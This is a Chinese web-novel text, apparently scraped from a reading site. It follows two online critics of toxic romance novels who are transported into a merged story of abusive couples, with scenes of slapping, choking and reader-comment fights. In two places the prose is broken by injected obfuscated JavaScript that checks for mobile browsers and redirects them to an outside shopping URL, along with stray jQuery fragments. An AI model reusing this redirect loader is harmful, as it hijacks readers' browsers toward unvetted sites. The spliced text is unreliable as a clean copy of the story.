《为什么这种人也能有对象啊(快穿)》 1. 不要再诈骗纯爱了! “跌宕起伏的爱情故事?未必如此!”K站的热门推荐,赫然挂着这样一条视频,鲜红的字体分外显眼。 点进去一看,梳着高马尾的银发青年一字一顿地对着镜头说道:“作者眼中的爱情,就是家暴狂和病娇舔狗?” 那双琥珀色的眼睛里尽是嘲讽。 “靠着攻的武力和智力上位的受,以及心甘情愿被受当沙包当枪手的攻?”小说的标题和文案被贴在了视频的左侧,上面的“互宠”标签无比清晰。 这本书,便是荣登书城热门榜单前二十,被粉丝誉为“剧情与爱情线齐飞”的史诗级星际纯爱网文——《在星河中沉眠》。 然而在秦铮眼里,这所谓的纯爱无疑是一堆垃圾,纯属诈骗。 “全文据我统计,总共有30处受家暴攻的情节,包括但不限于一拳打在攻脸上,一脚踢在攻腿上,以及,把攻毫不留情地踹下床。” “同时,还有3次,攻被心系同伴的受丢下,自生自灭。” 冰冷的数字触目惊心,让每一个点进来观看的正常观众都不禁啧舌。 每一段提及“踹”和“踢”的原文,秦铮甚至都贴心地截图了下来,一张张翻过,供观众们参考。 然而,这样严谨到挑不出一点错的证据,并没有让视频爆火后蜂拥而至的弹幕买账。 【黎明星河(偏受CP姐)】博主是攻梦男吧,攻一直是疯批啊,受忍耐攻对他的占有欲已经很惨了好吗! 【谁敢动我家CP】咋了,非得爱情至上是吧,咱们大男人就要搞事业! 【平平无奇的磕糖人】散了散了,别给博主这种歪屁股的攻控眼神,白白给他增加播放量。 这样的言论比比皆是,有些弹幕甚至特意换成了带有警告意味的红色字体,话里话外暗示秦铮快点下架视频,不要不识好歹。 然而,秦铮却对这些弹幕和评论区的攻击充耳不闻。 毕竟,若是真下架了视频,谁又来拯救他被“纯爱党”诈骗着去看这本破书的几个小时呢? 《在星河中沉眠》讲述了被流放的帝国皇帝诺尔曼和被陷害的联邦元帅里尔相逢于微时,互相扶持,依靠,最终夺回昔日荣耀,并且成功打败来犯虫族,守护人类家园的故事。 无数读者被文中波澜壮阔的宏大叙事所打动,更是高呼主角二人是强强联合,势均力敌的“神仙爱情”。仅仅半年,这本小说的收藏量就跻身了网站前二十。 而秦铮作为业余的耽美扫文博主,自然也收到了粉丝的推荐。但当他自己看这篇文时,却发现书粉们营销的内容都是“诈骗”。 所谓的“相互扶持”,指的是身为前任皇帝的诺尔曼,不顾自己的夺权计划,一心为想要重新成为元帅的里尔提供助力; 所谓的“夺回荣耀”,是指里尔在诺尔曼的帮助下,大仇得报,并且成为了联邦的最高领袖,轻松灭掉了已经腐败的帝国,并且由诺尔曼亲手奉上了王冠。 书中让向来处变不惊的秦铮都气得眉头紧皱的话,简直随处可见。 原文这样写道: 诺尔曼单膝跪地,将那顶镶嵌了数不清钻石和珍珠的皇冠捧到了自己的君王面前,虔诚地在里尔面前低下头,深情告白:“我的陛下,我愿意向您献上我的忠诚。” 就这样,故事最初那个足智多谋,武力超群的精神力S级皇帝诺尔曼,彻底变成了里尔身边的舔狗。 昔日里他帮助里尔制定的国策,代替里尔进行的战斗,全都被里尔当作自己的荣耀收入囊中。 之后与虫族的战斗中,诺尔曼更是因为不忍里尔上战场受伤,多次代替他前去作战。里尔却反而指责诺尔曼不识大局,害他失去了在民众前表现的机会。 然而,书粉们却称赞里尔独立自强,称赞诺尔曼“宠夫高手”,两个人的CP组合是强强,是势均力敌,是生死相依。 这让秦铮无法理解,因此他很干脆地在视频里总结道: “看完整本书,我也没有明白,里尔的成长线究竟在哪?他能够成功最大的原因,是拥有诺尔曼这个‘金手指’。” “至于诺尔曼,他似乎成了作者捧‘太子’里尔的工具人,如果说前期的诺尔曼是有思想有抱负的折翼苍鹰,那后期,他就是失去了自主意识,只会围着里尔转的一条狗。” “书粉所说的神仙爱情,指的就是这样吗?” 书粉才不管三七二十一,只要吐槽了他们心中的“神作”,那就活该被骂。 一时间,污言秽语一股脑地涌入了秦铮的评论区和私信,有问候秦铮父母的,有指责秦铮偏心攻的,还有揣测秦铮是作者黑粉的…… 但黑红也是红,这条视频很快被暴怒的粉丝和前来吃瓜的网友冲上了每周必看榜单。 与此同时,在互联网的另一端,一位倒霉博主同样在承受弹幕铺天盖地的谩骂。 “感天动地的虫族平权爱情?”应柏桥拧起了眉毛,青年向来带着笑意的眼睛,此刻只剩下了疑惑和恼火。 “出轨凤凰男和舔狗的故事,这也算平权吗?” 他清了清嗓子,上划鼠标翻找到刚才觉得不适的一段: “克兰德强忍着发情期的痛苦跪在地上,精神力紊乱带来的折磨,让他的额头渗出了大滴大滴的汗珠,他小声哆嗦着,喃喃喊道:‘雄主,求您帮帮我……’ 乔瓦尼坐在克兰德面前的软椅上,漫不经心地用鞋头挑起克兰德的下巴,看到克兰德那双已经痛苦到有些涣散的眼睛,他嘴角轻挑,施舍般开口:‘我说过,求人要有诚意。小狗。’ 克兰德的嘴唇嗫嚅了两下,最后吐出了一声:‘汪……’” “这就是你们说的训狗文学吗?”应柏桥长长地吐出一口气,点开了这一段的段评。 【左位全肯定】啊啊啊爽死了,就这个主人爽! 【受不宠攻算什么受】完全是主人级别……awsl 【别来诈骗CP粉】好磕好磕好磕! 应柏桥滑动着鼠标的手越来越慢。 他不死心地又往下翻了翻,想要找到一条同样觉得不适的评论。 然而他势必要失望了。 清一色的“哥哥”“主人”“爽”,整整齐齐地排列在评论区。 若不是应柏桥知道这本书活粉很多,他几乎要怀疑是人机恶意刷屏了。 他叹了口气:既然原作评论区没人说,那只好由他自己发声了。 “好磕在哪呢?我只看到了一个对伴侣的痛苦视而不见,一心只想凹造型的装货。” 年轻的主播抱着手臂靠在电竞椅上,看着弹幕里一条条划过的反驳,哼笑了一声:“说我嘴毒,网暴角色?陈述事实怎么也变成网暴了?” “那谁来赔我被诈骗看这本的钱呢?” 起因是水友们看腻了应柏桥直播游戏,提议换个新的娱乐,比如看看最近热门的小说,应柏桥同意了。 翻了翻书城最近的榜单,他找到了这本“年度最佳小说榜”前三的虫族耽美文———《重生之我在虫族拍纯爱短剧》。文案号称是“互宠纯甜”,评论区也是一水好评,盛赞这是剧情感情线俱佳的“神作”。 故事也很俗套,讲述了从地球穿越到雄尊雌卑虫族的平民雄虫乔瓦尼,在系统的要求下,通过赚取财富来换取更高的雄虫等级。乔瓦尼通过拍摄纯爱短剧,宣传雌雄平权,一炮而红,并且一路高歌猛进成为世界首富。同时从系统那换取了金手指,成为了虫族皇室的流落在外的继承人,继承了皇位,成为了新一任虫皇。 但是,感情线去哪了? 应柏桥阅读之后才得知,乔瓦尼的“官配”受,是表面冷酷无情,实则向往纯爱的铁血上将——雌虫克兰德。 克兰德在乔瓦尼拍摄第一支短剧时就爱上了他编造出的,一生一世一双人的纯爱世界,因此砸了大量的积蓄给乔瓦尼,成为了他的头号金主。 可以说,没有克兰德,就没有日后暴富的乔瓦尼。 两人因为拍剧而逐渐熟悉起来,互相爱慕成为了伴侣。但乔瓦尼却始终没有提出与克兰德结婚。 克兰德这个向来说一不二的将领,在乔瓦尼面前也低下了高贵的头颅,对乔瓦尼的一切 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所谓的平权不过是一场幻梦,既得利益者仍然是那群好吃懒做,万人追捧的雄虫。 这两段话被应柏桥说出来后,直播间瞬间被闻风赶来的读者围剿了。 【苏攻美攻都是我的宝】主播是受控吧,都虫族文了,不就是看雄尊雌卑的吗? 【万人迷攻全肯定】哪里有暧昧,又没亲上,算什么暧昧啊? 【真CP粉驾到】受控能不能滚去你们的地盘看出,别来倾轧我们攻控的生存空间了! 弹幕肆意谩骂,甚至上升到了人身攻击。 一句句“主播是受控吗”的评论几乎要将直播的小小窗口填满。 但应柏桥的心情却比刚才看文时好多了。 书粉为了能让他看到自己的辱骂,充钱的SC是一个接一个发,一度把直播间的热度顶到了全站前十。 收钱都收麻了,看本烂文就看了吧。应柏桥笑眯眯地对着摄像头说了声“晚安”,忽略掉那些弹幕和SC,哼着小曲下播了。 本想在再刷两个视频就去睡觉,没想到首页推荐上,一个视频的标题直接引起了他的注意: “并非纯爱?”应柏桥不由自主地念出了这个标题,点了进去。 居然是少见的网文吐槽,而且是明确针对某一本书。应柏桥在心里暗暗给这位“英雄”点了个赞,他是真的不怕被冲啊。 再一看视频下的红色标签,“该视频已被收录至每周必看第232期”,他不禁挑了挑眉,看来这位勇士的视频不止单纯吐槽那么简单。 应柏桥向后仰靠在柔软的电竞椅上,已经接近午夜,再加上今天和弹幕斗智斗勇,他也有点疲倦了。 但随着播放时间的推进和弹幕数量的增加,他的眼神逐渐从飘忽变得集中,眉头也忍不住拧了起来,甚至和视频里的秦铮一样,在那句“爱情史诗”的文案前发出了一声嗤笑。 “真有意思。” 他坐起身,翻了翻评论区,不外乎是在骂秦铮是黑粉,是攻控的。 倒是和他反过来了。 “要我说,真正的攻控受控另有其人吧。”视频播放到了末尾,应柏桥的心情也是五味杂陈,一方面被这些不分青红皂白的粉丝气得甚至想笑,另一方面,又十分佩服博主敢把这些内容直接做成视频。 于是,为了支持对方,他在评论区敲下了一行字: “最应该被批判的不是写出这些‘神人’角色的作者吗?这些人的恋爱三观真该矫正矫正——” 最后一个句号还没落下,原本黑屏的电脑突然迸发出一阵刺眼的白光,照得整个房间都亮如白昼,应柏桥下意识抬手遮住眼睛—— 但他还没反应过来发生了什么,就被一股强大的吸引力拉进了电脑屏幕中。 几秒后,卧室重新回归昏暗,只有一盏桌前的台灯还亮着些微的光芒。电竞椅上空无一人,只有电脑还在循环播放刚才的视频。 视频下方的评论区,那行躺在对话框里的恋爱三观吐槽,还没有发出去。 2. 恋爱三观矫正系统 “什么情况?”应柏桥放下手臂,警惕地环顾四周,发现自己身处一个纯白色的空间,大面积的白色冲击让他的眼睛隐隐发痛。 他眯起眼睛,试探着向前走了两步,喊了一句:“有人吗?” “有。”声音从他背后传来。 应柏桥猛地回头,一名梳着银色高马尾,穿着浅咖色风衣,戴着鸭舌帽的青年站在他面前。虽然看不清整张脸,但对方与自己应该年龄相仿,眉宇间透着冷冷的气息,让寻常人不愿靠近。 但应柏桥不是寻常人,他露出招牌微笑,主动向秦铮示好:“你好,请问你知道这是哪里吗?” 秦铮简单地摇了摇头,懒得开口说一个字。 应柏桥却像是没注意到他的冷淡,笑容不变,追问道:“你也是被吸入这个空间的吗?” “嗯。”又是一个冷淡的回答。 “好吧,”应柏桥遗憾地笑了笑,也不尴尬,“看来我们只能暂时等待了,不知道把我们带到这的人什么时候露面。” 他不再与对方交谈,但黑中透金的眼眸又将青年快速打量了一遍。这个人的脸型和发型,总觉得有些熟悉…… “你是Andrew桥?”一直沉默的青年突然开口。 听到自己的主播ID,应柏桥快速收回了眼神,讶异地抬头:“是我,你看过我的直播?” “我被送到这里前做的最后一件事,就是点开了你的直播间。”秦铮说了两人见面后的第一个长句。 “什么?” 秦铮也很想知道自己为什么被送到了这个地方。 他晚上刚刚领完这个月的视频收益,去楼下吃个夜宵的功夫,就被手机屏幕吸入了这个空间。 虽然上一条吐槽视频下面有很多辱骂,但是秦铮并不在乎,甚至决定将这类“诈骗纯爱”网文作为之后的吐槽重点。 毕竟他做这个赛道,一半是因为兴趣,一半是想赚钱。 至于被骂什么的,秦铮咬了一口饱满多汁,Q弹筋道的烤鱿鱼串,满意地眯了眯眼睛:冰冷的辱骂已经变为了温暖的现金。 “不过,”他一边嚼着烤串,一边点开了K站首页,暗暗地想,“这种打着纯爱旗号写家暴狂和舔狗的文,还是很让人不爽。” 突然,他的手指一顿,停在了首页推送的直播间上:太诈骗!周末纯爱小说吐槽。 秦铮的眼眸颤了颤,向来不看直播的他,鬼使神差地点进了直播间。 一进去,就看到浓眉黑发的年轻主播,将一本《重生之我在虫族拍纯爱短剧》打在了屏幕上,并且标上了大大的红字“纯爱党快跑!”。 怎么觉得有点熟悉?秦铮一边听主播有理有据地批评小说的主角攻,一边翻着弹幕的评论。 看着看着,秦铮专心咀嚼的嘴巴慢慢停了下来,手里的鱿鱼串滴了油他都没有察觉。 这些弹幕,怎么和我评论区的评论这么像? 再一听主播的剧情介绍,不就是自己吐槽的星际文的翻版吗?秦铮眉头一皱,忍不住放下鱿鱼串,擦了擦手,拿起手机开始打字: 支持主播,这样的文章根本不配称为纯爱。 然而,还没来得及发出去,他就感觉到屏幕前一阵白光,再睁眼时,已经来到了这个纯白空间,面前还站着一个跟直播间的主播很相似的人。 但还没等自己询问,对方已经先行向自己搭话了,秦铮又向来寡言少语,不愿打断对方的话,只是一边回答一边默默观察对方。 深咖色的皮夹克,黑色短发,眼神和表情富有亲和力,说话的声音带着少年人的轻快但又富有磁性…… 秦铮确定他就是刚才的主播。 他不着痕迹地收回了目光,嘴角上扬了一个像素点的幅度。 不知怎么,想到是他和自己一起被困,突然觉得放松了些。 因此,他趁着应柏桥沉默的空档,直接地报出了应柏桥的主播ID,完全没考虑到在现实中说出对方网名会让大部分人感到羞耻。 好在应柏桥的ID相对正常,比起尴尬,他更多是感到好奇。 “难道说,是因为你正好看了我的直播,我们才被一起拉入了这个空间吗?” 应柏桥想要询问更多细节,不过还没等他追问,整个空间的色调突然暗了下来,刚才刺眼的白色,变成了柔和护眼的浅绿色。 一个机械男声在两人的头顶缓缓发声:“感谢二位绑定恋爱三观矫正系统,请二位帮助我们改写书中角色的结局,塑造正确恋爱观。” 恋爱三观矫正系统?应柏桥想到自己穿越前的最后一句话,眼神一暗。 “你是谁?”他的声音变得强硬起来,不复方才与秦铮对话时的温柔,“请求我们帮助,却不露面,这就是你的诚意吗?” 秦铮也冷着脸帮腔:“把我们拉入空间,经过我们同意了吗?” 声音沉寂了几秒,随后,一个巴掌大的机械小球突然出现在了两人身边。 【十分抱歉,是我们疏忽了,请二位不要介意】 虽然猜到了这个空间不一般,但应柏桥和秦铮还是被这个高科技漂浮物震撼得沉默了一下。 半晌后,应柏桥开口了。 “先介绍你的来意吧,为什么选择我们,需要我们做什么,以及,回报是什么?”他有条不紊地列出了问题。 【好的,没问题。】 【我们是来自高维空间的恋爱三观矫正系统,旨在矫正类似于舔狗,家暴,出轨等不良恋爱观念和行为,创造健康的恋爱世界。】 【之所以找到二位,是因为我们注意到两位最近的纯爱小说吐槽内容,非常契合本系统的恋爱观,原作的内容也是很典型的恋爱错误行为。希望你们穿越到这两本书中,帮助书中的“舔狗”主角找回自我,纠正观念,拒绝继续沉沦。】 【成功完成任务,两位可以获得丰厚的奖金。】 “二位的吐槽内容,两本书……”应柏桥的眼珠快速地转了转,垂下眼帘思索着。 也就是说,身边这个高马尾青年也是主播或者视频博主? 虽然他很想直接询问身边的人,但情况特殊,他还是率先向系统追问。 “也就是说,我们需要同时穿越到两本小说中完成任务?” 【不是的,本系统会将这两本书的世界观进行合并,因此相当于是在同一世界观完成两个攻略任务。】 “听上去很困难啊,”应柏桥挑眉,“我们又不能分身,怎么一次性解决两个主角?” “而且,虽然我身边这位先生看过我吐槽的内容,但我没有看过他吐槽的……” 应柏桥的话语硬生生卡在了喉咙里,他眼睁睁看着秦铮摘下了鸭舌帽,露出了那张在“本周必看”视频里出现的脸。 “怎么了?”秦铮感受到他的目光,投来了疑惑的眼神。 “没什么,”应柏桥移开了视线,轻咳一声,“原来我被带到这里之前,看的最后一个视频是你的。” 秦铮微微睁大了眼睛,正要说些什么,就被应柏桥抢过了话头:“系统,对于我的第一个问题,你有什么解决方案吗?” 【有的,我们会提供空间穿梭能力给二位,同时,在人类联邦和虫族帝国,我们将分别提供一项二位指定的外援】 【此外,即使在执行过程中任务者死亡,也只会再次开启任务,不会让二位真的死去。现实世界中的时间也会在二位进入小说世界后停止,因此不会影响二位的现实生活。】 “有点霸道但还算合理的条款。”应柏桥在心里默默评估。 “星际世界,还能改写逆天作者的垃圾感情线,听上去还是挺爽的。”他又默默在心里补了一句。 “而且,”应柏桥看了眼身旁的秦铮,对方自始至终都没怎么发言,一直保持冷淡聆听的姿态,“秦铮虽然话不多, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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文案上用加粗的黑字写下了以下几行大字: 1、本文为《在星河中沉眠》和《重生之我在虫族拍纯爱短剧》的联动同人 2、本作涉及拆原作官配的内容,如有不适,请勿观看;如果观看,请勿ky 3、本作主旨:警惕有毒恋爱,矫正恋爱三观 像是被无形的大手控制一般,这本小说先后出现在了小说网站的推荐头条,最大搜索软件的随机搜索词条,最大的几家视频网站的首页推送位。 让各路网友不注意到都难。 而当他们点进去后,却失望至极: 【普普通通吃瓜人】什么啊,一本同人文,一个字没有就开始营销了? 【小河流水】这两本小说倒是很有名,好看吗,书粉来推荐下? 【围观群众10086】明着写拆官配吗?这不好吧,而且人家耽美小说不就是讲谈恋爱的,你把人家甜甜蜜蜜小情侣拆了算什么事啊? 两本原作的书粉更是大发雷霆,第一时间冲到了小说的评论区。 【亲亲妹宝】作者你有病就去治,别在这祸祸我们小情侣!虫族那本拆就拆了,虫子攻和舔狗受活该被拆!但星河真无妄之灾吧,我就找不出这本书不好看的点! 【虫子滚出耽美】支持楼上,虫子拆就拆了,我们星河可是正儿八经的双向奔赴,作者你是不是黑粉啊,心理阴暗见不得我们小情侣好是吧!】 【攻宝一生推】两个大哥大姐,先管管你家的超雄受吧,都22世纪了,怎么还有这种极品家暴狂/捂嘴笑。别一天到晚拐我们家虫族了。 【CP至上偶尔偏攻】先别急着骂嘛,说不定作者是看不过原作里乔瓦尼只有一个官配,打算踢了老受把其他雌虫纳入后宫呢/捧脸】 【逆我CP者死】这就是攻控的嘴脸,一个个跟大婆大爹似的要给自家耀祖开后宫,恶不恶心啊!我们星河可是坚定的1v1! 【美攻生来就是被宠的】但是我们乔瓦尼可没有家暴哦,到底谁才是耀祖妈耀祖爹,管超雄暴力狂叫宝宝不恶心吗你们受控~ 《舔狗与舔狗的终极觉醒》就在这样轰轰烈烈的争吵氛围中,更新了第一章。 3. 实力相当的对手 星河联邦的最大战舰——星河舰上,虫族和人类的代表正在进行第五轮磋商。 自人类和虫族停战后,签订互不侵犯协议和友好往来协议便被提上了日程,民众渴望着和平的到来,两国政府则希望从对方那里捞最后一笔油水。 就这样,经历了数个月的谈判,两边的最高领导人被折磨得相继退居幕后,留下星河联邦的副总统和哈洛特王国的元帅继续唇枪舌剑,勾心斗角。 “尊敬的克兰德元帅,虽然我很敬佩您的军事和政治才华,但我不得不提醒您,任何一个主权国家都不可能接受他国在自己的领土上建立军事基地。” 年轻的副总统将一双被白手套贴合包裹的修长手指交叉,托着下巴,浅粉色的眼睛流露出礼貌但不达眼底的冰冷笑意。 他的两片薄唇似乎永远保持着优雅的微笑,然而坐在他对面的克兰德元帅却清楚地知道,这个装腔作势,梳着一丝不苟的低马尾的长毛怪,是他谈判路上最大的阻碍。 这不,长毛怪从他那看似柔软无害的唇瓣中吐出了邪恶而又无耻的话语:“倒是你们,最后一仗输给了我们人类,甚至连首都都差点拱手相让,总该给我们点赔偿吧?” “我也不要多,”他微微抬起头,直视克兰德,他身后柔顺光亮的黑色长发也随着动作晃了晃,发出“窸窣”的声响,“你们在战争中使用的所有武器,都必须对联邦开放购买权。” “劝你不要说梦话,”金发金眸的铁血元帅硬邦邦地回答,声音冷硬得像是在三九寒天里放了一整夜的冰水,连他身边的侍从都吓得一颤,“虫族是不可能把技术开源给你们人类的。” “那真是太遗憾了。”浅粉色的眼睛状似无辜得眨了眨,靠着一张漂亮脸蛋成为联邦副总统的诺尔曼摊了摊手。 “那我们还是继续讨论已达成事项的细节问题吧,”那张美得雌雄莫辨的脸朝克兰德露出了虚伪的假笑,“不过顺带一提,您那位没用的丈夫还在卧病休养吗?” 很显然,年轻的副总统大人对刚才的磋商也感到很不满,于是小小地反击了克兰德堪称粗鲁的拒绝。 “不许对虫皇不敬!”还没等克兰德开口,一旁的侍卫率先冲诺尔曼吼道。 诺尔曼还没来得及回应,只听见“咔嚓”一声响,谈判桌裂开了一道细长的裂缝。 从克兰德左手的掌心一直延伸到了诺尔曼的面前,裂痕直指诺尔曼的心口,像是无声的威胁和警告。 诺尔曼盯着那道裂痕看了半晌,微笑着解释:“只是开个玩笑,我和联邦都很关心虫皇的身体状况,希望他能早日回到谈判桌前。” 如果是那个废物,就能用精神力直接控制他的思维,让他乖乖签字了。 “不劳你关心,虫皇身体很好,而你,也不配直接和虫皇谈判。”雌虫金色的眼睛像是岩浆喷发时最炽烈的那一抹颜色,又像是太空中报废的金属飞船一样,闪着死寂的光泽。 “况且,说起废物,那个被你一手捧上台的里尔总统,才是最废物的吧。” 克兰德向来没什么感情的眼睛里,划过一丝嘲讽的笑意。 “唰——” 克兰德牢牢抓住了冲他飞来的精神力触手。 对面的长发美人依旧云淡风轻,但冲向克兰德脖颈的触手却将他的情绪暴露无遗。 “劝你对我们星河联邦的总统放尊重些,克兰德元帅。”诺尔曼站起了身,声音里多了几分冰凉的质感,“我们还有很多轮磋商,希望彼此间可以互相尊重。” “但凡你没有出言挑衅,一切都会很顺利。”克兰德轻轻一捏,触手就化作了一缕烟尘,消散无踪。 “中场休息,和谈下午继续。” “磋商怎么样了?” 傍晚时分,诺尔曼回到了总统府邸。他一进门就看见了躺在沙发上玩着光脑的短发男子。 男人身材壮实,因为在家中穿得随意,胳膊和小腿的肌肉显得格外明显。一看就是常年习武的军人。 “有一定进展,虫族那边愿意让利三个点在武器出售上,但他们依然不愿意提供全部武器。” 诺尔曼脱下了工艺繁重的白色礼服,走向了男人。 “哦,那你要继续努力啊。”从诺尔曼进屋到现在,男子看都没看过他一眼,专心地在光脑上玩着机甲对战游戏。 诺尔曼对这样的场景习以为常,他走到了男人身后,轻轻地捧住他的脸,就像是对待最宝贵的瓷器一般,笑着问道:“我这么努力,有什么奖励吗?” 男人,也就是星河联邦的现任总统,民众心中的救世主,里尔·格里奇,烦躁地晃了晃脑袋,啧了一声:“在打游戏呢,别乱动你那双爪子。” 诺尔曼的眼眸变得幽深了起来,浅粉色的眼睛慢慢被染成了如血的深红:“从我进来之后,你就没有看过我。” 他不复刚才在谈判桌上的优雅体面,缓缓走到男人身边,单膝跪下:“我们都半个月没见过了,甚至电话也没打过几次。” 要不是为了里尔,他才不想去开什么会议,还要被对面的金毛犬找不痛快。 但是里尔的统治刚刚建立,国内的事务已经让他忙得不可开交,他作为里尔的伴侣有义务为他分忧,帮他处理和虫族的外交。 况且,里尔愿意把这么重要的事情交给自己做,就证明他是里尔最信任的人…… 想到这,诺尔曼眼中的猩红变得更加疯狂,他急切地想要凑上去拥吻里尔,和对方水乳交融,将对方狠狠占有! “啪!”一巴掌不轻不重地甩在了诺尔曼如雕塑般优美的脑袋上。 “一边玩去,实在不行把饭做了,别在这随地发情。”里尔头也不转一下。 “好,那我去做饭,你稍等一下。” 得到“回应”的诺尔曼满足地站了起来,走向了厨房。 他熟练地摘下挂钩上的围裙,打开了冰箱,看到里面的内容物时,轻轻叹了口气。 又剩了大量的高级营养液和合成肉没有吃。 这些在普通民众看来珍贵而又稀缺的食物,在总统府邸却是半个月要清理一次的垃圾。 “下次直接让政府食堂把这些送一半去首都福利院好了,否则也是浪费。” 不过,嘴上说着“浪费”,男人还是拿出了一块珍贵的新鲜牛肉和一捆时蔬出来。 他娴熟地将蔬菜清洗干净,又将牛肉的血水挤出,切成大小几乎一样的小丁。 诺尔曼丝毫没有责怪里尔铺张的意思,毕竟,他能理解里尔的不易。 和自幼在冷宫长大,靠着宫人接济的营养液才勉强活下来的诺尔曼不同,里尔是正统的豪门少爷出身。 他的父母是联邦有名的商人,里尔可以说含着金汤匙长大。但一场意外,让他失去了唯一的两个亲人,也成了福利院的孤儿。 因此,对于享受过锦衣玉食的里尔来说,即使经历过贫苦的生活,也不代表他就能够忍受廉价难喝的营养液,和味同嚼蜡的合成肉。 他骨子里还是那个矜贵娇气的小少爷。 想到这,诺尔曼的眼神都柔软了一下,切菜的手不自觉加快了速度。 为了照顾好他的小少爷,他特地向联邦最好的厨师学习了做菜的手艺。 “怎么样,好吃吗?”诺尔曼端坐在里尔对面,眼神里满是爱意和隐隐的心疼。 这些天自己不在,里尔肯定又没好好吃饭。 “好吃啊,你做的最好吃。”里尔从黑椒牛肉粒的盘子里抬起头,冲他咧嘴一笑。 “来,给你一个尝尝。”他戳了一个牛肉丁,喂到诺尔曼嘴边。 “你吃吧。”男人反过来握住他的手,宠溺的将叉子调转方向,送进了里尔口中。 “我喝营养液就好。这么多营养液,总不能放在那等着坏了吧。” 诺尔曼拆开管状的小瓶,面不改色地将苦得发酸的液体一饮而尽。 “老公……你对我真好。”里尔见状也不客气了,飞速吃完了最后半盘主食,然后探出身子,在诺尔曼脸上响亮地亲了一口。 诺尔曼的眸色瞬间变了,如同饿虎扑食一般,拽住里尔的领口和他狠狠接吻。 一直亲到对面不耐烦的里尔又给了他一拳,他才意犹未尽地放手。 而另一边的虫族,克兰德同样在为雄主,哈洛特王国最尊贵的虫皇——乔瓦尼·哈洛特准备晚餐。 他将最后一朵修剪好的玫瑰插在了烛光晚餐的花瓶里,然后最后一次检查餐具是否摆放整齐。 克兰德已经很久没有见到亲爱的雄主了,那个擅长耍嘴皮子的长毛怪浪费了他太多的时间。 想到这,他摆放餐具的手指不禁一顿,原本雀跃的金色眼眸也阴郁了下来。 “那个该死的诺尔曼·罗斯,下次磋商,干脆直接杀掉吧。” “居然敢对雄主不敬,大放厥词……”雌虫的眼睛逐渐变为了尖锐的竖瞳,这是他们在情绪激动时的生理反应。 这时,推门的声音打断了克兰德逐渐暴虐的情绪。 “克兰德 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171785|196838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?你今天回来了?”洛哈特王国的瑰宝,被人们称作洛哈特王国“最美丽玫瑰”的乔瓦尼·洛哈特回到了自己的寝宫。 和长相凶狠,不近人情的雌虫不同,乔瓦尼是一只相貌柔美,拥有华丽的银白色长发和纤细身材的柔软雄虫。 还没等他唤第二声,刚才还在餐厅的雌虫便以常人无法看见的速度冲到了门廊,半跪在乔瓦尼面前。 他小心翼翼地托起雄虫的一只脚,放在自己的大腿上,为雄虫换鞋。 乔瓦尼漫不经心地接受着雌虫的服侍,居高临下地问道:“第五轮磋商的结果?” “一切顺利。”克兰德帮雄虫换上了专门找人定制的,最柔软的毛绒拖鞋,抬起头望向乔瓦尼,眼神里满是虔诚和狂热。 “好久没见到雄主了,您只想和我谈公事吗?” 乔瓦尼轻笑了一声,他对雌虫的病态爱慕早已习惯,轻轻拍了下雌虫的肩膀,示意他起身。 “别着急……让我看看,你还做了烛光晚餐?” “嗯。”克兰德跟在纤瘦的雄虫身后,宛若无声的保镖。 “雄主喜欢吗?” “喜欢。”乔瓦尼顺着克兰德拉开的椅子,坐在了主座,然后微微抬起头给了克兰德一个轻吻。 雌虫的瞳孔骤然缩成了针眼大小,眼珠变为了尖锐的竖瞳,金色的眼睛逐渐被向外扩散的黑色侵蚀,差点要完全虫化。 他狠狠的凑上去,伸出舌头像小狗吸取汁水一样亲吻着雄虫,攫取对方口腔中的蜜液…… “唔,克兰德,你等一下……”乔瓦尼并不适应雌虫这样热情甚至于暴力的示爱,用无力的双手推拒着。 而克兰德则像是饿了三天三夜的野狗,逮到了雄虫这块肥美的嫩肉就不肯撒手。对雄虫的抗拒充耳不闻。 场面一度非常混乱,直到乔瓦尼用精神力丝线勒住了克兰德的脖子。 细细的丝线,雌虫用指甲就能轻轻挑破,但他自愿献上脖颈。 脖子上的青筋一条条鼓起,雌虫的脸庞也因为缺氧而涨的通红,他不得不依依不舍地撤出了因为部分虫化而变得细长的舌头,以及吻得通红的嘴唇。 “听话点,知道吗?”乔瓦尼微微皱眉,并没有因为克兰德的屈服而放松精神力丝线的力道。 “我……我会的,雄……主”人前光鲜的铁血元帅,此刻跪在了雄主的椅子前,因为缺氧而发出“咯咯”的挣扎声。 乔瓦尼对雌虫的痛苦充耳不闻。 他又维持了半分钟精神力,当作对雌虫的惩罚,随后才撤下了丝线。 雌虫却没有按照生物的本能去捂住喉咙,而是大口大口的喘着粗气,将雄虫刚刚给予他惩罚的手指捧到唇边挨个亲吻。 “很好,乖一点,我们有的是时间亲近。”乔瓦尼优雅地抽回了手,俯视着眼前依然有些狼狈的雌虫。 “现在,再来一次。”他点了点自己的嘴唇。 “轻一点。” 于是,学乖了的雌虫双膝跪在地上,伸直了上半身,闭上眼睛颤颤巍巍亲上了雄虫如同玫瑰般娇嫩的嘴唇…… 【美1生来就是被宠的】啊啊啊啊我看爽了!小乔宝宝天生的训狗大师,主人级别的!我亲亲亲!这作者还挺会写的嘛! 【攻宝妈】同意,看来这所谓的拆CP,应该就是开后宫的意思吧!老受给我小心点,别对我家小乔宝宝那么粗鲁! 【狗攻猛舔受宝的脚】楼上两个是攻嬷吧,恶心死了!这狗作者居然还挺会写的,诺尔曼写得够狗/赞/赞/赞 【里尔宝宝你是一个宝宝】里尔推来支持了!狗攻居然打扰我们里尔宝宝打游戏,活该被扇/大笑,里尔宝宝简直女王级别的! 【平平无奇吃瓜人】从推送来的,没看过原作,感觉两边的原作粉都好可怕啊……还有,为什么要喊受女王,他不是男的吗? 【夕阳西下】可能我老了吧,最后那段训狗文学看得我大受震撼,虽然但是,这样真不会勒死人吗? 【不会宠攻的受都去死】哈哈,因为是雌虫吧。可劲造,没事! 